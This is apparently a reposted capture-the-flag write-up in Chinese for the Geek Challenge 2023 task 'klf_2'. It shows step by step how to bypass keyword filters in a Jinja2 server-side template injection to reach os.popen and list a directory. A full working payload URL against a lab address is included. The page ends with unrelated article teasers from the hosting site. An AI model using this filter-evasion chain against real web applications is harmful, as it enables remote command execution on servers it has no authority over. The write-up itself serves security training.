[Geek Challenge 2023] klf_2详解

考点

SSTI、join拼接绕过

fuzz测试后发现过滤了很多关键字
在这里插入图片描述
我们先试试构造__class__

{% set po=dict(po=1,p=2)|join()%}  					 //构造pop
{% set a=lipsum|string|list|attr(po)(18)%} 			 //构造_
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}   //构造__class__
{% set cmd=cl%}
{{cmd}}   //调用

构造成功
在这里插入图片描述当我们添加过滤器attr后,修改为{% set cmd=()|attr(cl)%}
在这里插入图片描述
我们继续构造,查看下当前子类

{% set po=dict(po=1,p=2)|join()%}
{% set a=lipsum|string|list|attr(po)(18)%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set cmd=()|attr(cl)|attr(ba)|attr(su)()%}
{{cmd}}

在这里插入图片描述

复制一下,查找class 'os._wrap_close下标为17
在这里插入图片描述
由于我们fuzz测试后知道不能用[],那么我们用__getitem__()代替

{% set po=dict(po=1,p=2)|join()%}
{% set a=lipsum|string|list|attr(po)(18)%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set cmd=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)%}
{{cmd}}

找到os命令执行的模块
在这里插入图片描述

然后就是初始化返回可用函数,再一次__getitem__()去调用popen函数
我们重新定义pp为调用的popen函数

http://192.168.1.104:32774/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=lipsum|string|list|attr(po)(18)%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glo=a,bals=a)|join,a,a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{{pp}}

在这里插入图片描述然后就是如何构造命令,由于过滤了关键字,那么我们要先得到chr()函数
要利用到__builtins__模块以及join拼接的chr字符
也就是添加下面三句

{% set ch=dict(ch=a,r=a)|join%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}

继续构造命令,假设构造ls /app/
考虑到过滤了一些数字,用全角字符绕过

{% set l=dict(l=a,s=a)|join%}
{% set ap=dict(ap=a,p=a)|join%}
{% set ch=dict(ch=a,r=a)|join%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set sz=(l,chhr(32),chhr(47),ap,chhr(47))%}

除此之外还要构造read()

{% set re=dict(re=a,ad=a)|join%}

命令执行语句

{% set cmd=pp(sz)|attr(re)()%}

整理一下得到最终payload

http://192.168.1.104:32774/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=lipsum|string|list|attr(po)(18)%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glo=a,bals=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join%}
{% set l=dict(l=a,s=a)|join%}
{% set ap=dict(ap=a,p=a)|join%}
{% set re=dict(re=a,ad=a)|join%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set sz=(l,chhr(32),chhr(47),ap,chhr(47))|join%}
{% set cmd=pp(sz)|attr(re)()%}
{{cmd}}

成功读取目录
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/256664.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

人工智能企业引入S-SDLC,推动安全能力大跃升,保障AI技术体系深化落地

某人工智能公司是国际知名的上市企业,核心技术处于世界前沿水平。多年来,该企业在智慧教育、智慧医疗、智慧城市、智慧司法、金融科技、智能汽车、运营商、消费者等领域进行深度技术赋能,深入推进各个行业的智能化、数字化转型建设。 人工智能…

微服务2 Docker学习 P42-P60

Docker学习视频https://www.bilibili.com/video/BV1LQ4y127n4?p42&vd_source8665d6da33d4e2277ca40f03210fe53a 文档资料: 链接:https://pan.baidu.com/s/1P_Ag1BYiPaF52EI19A0YRw?pwdd03r 提取码:d03r Docker 其他笔记 服务器容器化-docker(全…

labelme等标注工具/数据增强工具输出JSON文件格式检查脚本

标注的文件太多了,还有用数据增强工具生成了一票的新数据。在转换或使用训练时候会报错,错误原因是json中语法有问题,这样会中断程序运行,调试造成很大困扰。 检查确实最后有问题,多写了一次 写一个脚本,用…

CentOS上配置和管理HTTP服务器的工具和实用程序

在CentOS系统上,有多个工具和实用程序可以帮助你配置和管理HTTP服务器。以下是一些常用的工具和实用程序: Apache HTTP服务器: Apache是CentOS上最常用的HTTP服务器之一。它是一个开源的Web服务器软件,具有高度的可配置性和可扩…

ARCGIS 中使用 ChatGPT 的 5 种方式

ChatGPT 一度成为最热门的话题。什么是 ChatGPT?谁能比 ChatGPT 本身更好地回答这个问题呢?我们要求它写一个关于 ChatGPT 是什么的简短描述,这是它的回应: ChatGPT 是一个聊天机器人,使用 OpenAI 开发的 GPT-3 语言模…

【智能家居】六、摄像头安装实现监控功能点、人脸识别(face_recognition的使用)

一、定义及第三方库的说明 OCR (光学字符识别)文字识别、图像识别mjpg-streamer实时流式传输视频工具树莓派mjpg-streamer Face Recognition人脸识别 Dlib 计算机视觉问题的工具和算法face_recognition库OpenCV 计算机视觉和机器学习的开源库 三、香…

大数据分析与应用实验任务十一

大数据分析与应用实验任务十一 实验目的 通过实验掌握spark Streaming相关对象的创建方法; 熟悉spark Streaming对文件流、套接字流和RDD队列流的数据接收处理方法; 熟悉spark Streaming的转换操作,包括无状态和有状态转换。 熟悉spark S…

【深度学习】一维数组的聚类

在学习聚类算法的过程中,学习到的聚类算法大部分都是针对n维的,针对一维数据的聚类方式较少,今天就来学习下如何给一维的数据进行聚类。 方案一:采用K-Means对一维数据聚类 Python代码如下: from sklearn.cluster im…

[VSCode] Java开发环境配置

文章目录 1 VSCode & Java 安装1.1 安装 VSCode1.2 安装 JDK 2 环境变量配置3 在 VSCode 中安装 Java 扩展4 运行测试 1 VSCode & Java 安装 1.1 安装 VSCode Visual Studio Code 官方下载 地址: https://code.visualstudio.com/详细安装步骤这里不做赘…

m1编译xgboost的jar报错

1、编译 cd jvm-package包,然后进行编译mvn install -P libxgboost,java -DskipTests 2、报错信息: 3、解决方法 A、在jvm-packages包下找到xgboost4j中找到pom.xml,如图: B、修改python的额目录或者脚本: C、继续执…

图像处理之把模糊的图片变清晰

1.图片如果是有雾化效果的对图像产生影响的,要先进行图形增强,Retinex是基于深度神经网络了,我在之前图形处理的文章一路从神经网络(概率统计)—>积卷神经网络(对区域进行概率统计,对图片进行切割多个识别对象)–>深度积卷神经网络(RetinexNet也是模拟人脑的处理过程,增加…

【无线网络技术】——无线城域网(学习笔记)

📖 前言:无线城域网(WMAN)是指在地域上覆盖城市及其郊区范围的分布节点之间传输信息的本地分配无线网络。能实现语音、数据、图像、多媒体、IP等多业务的接入服务。其覆盖范围的典型值为3~5km,点到点链路的覆盖可以高达…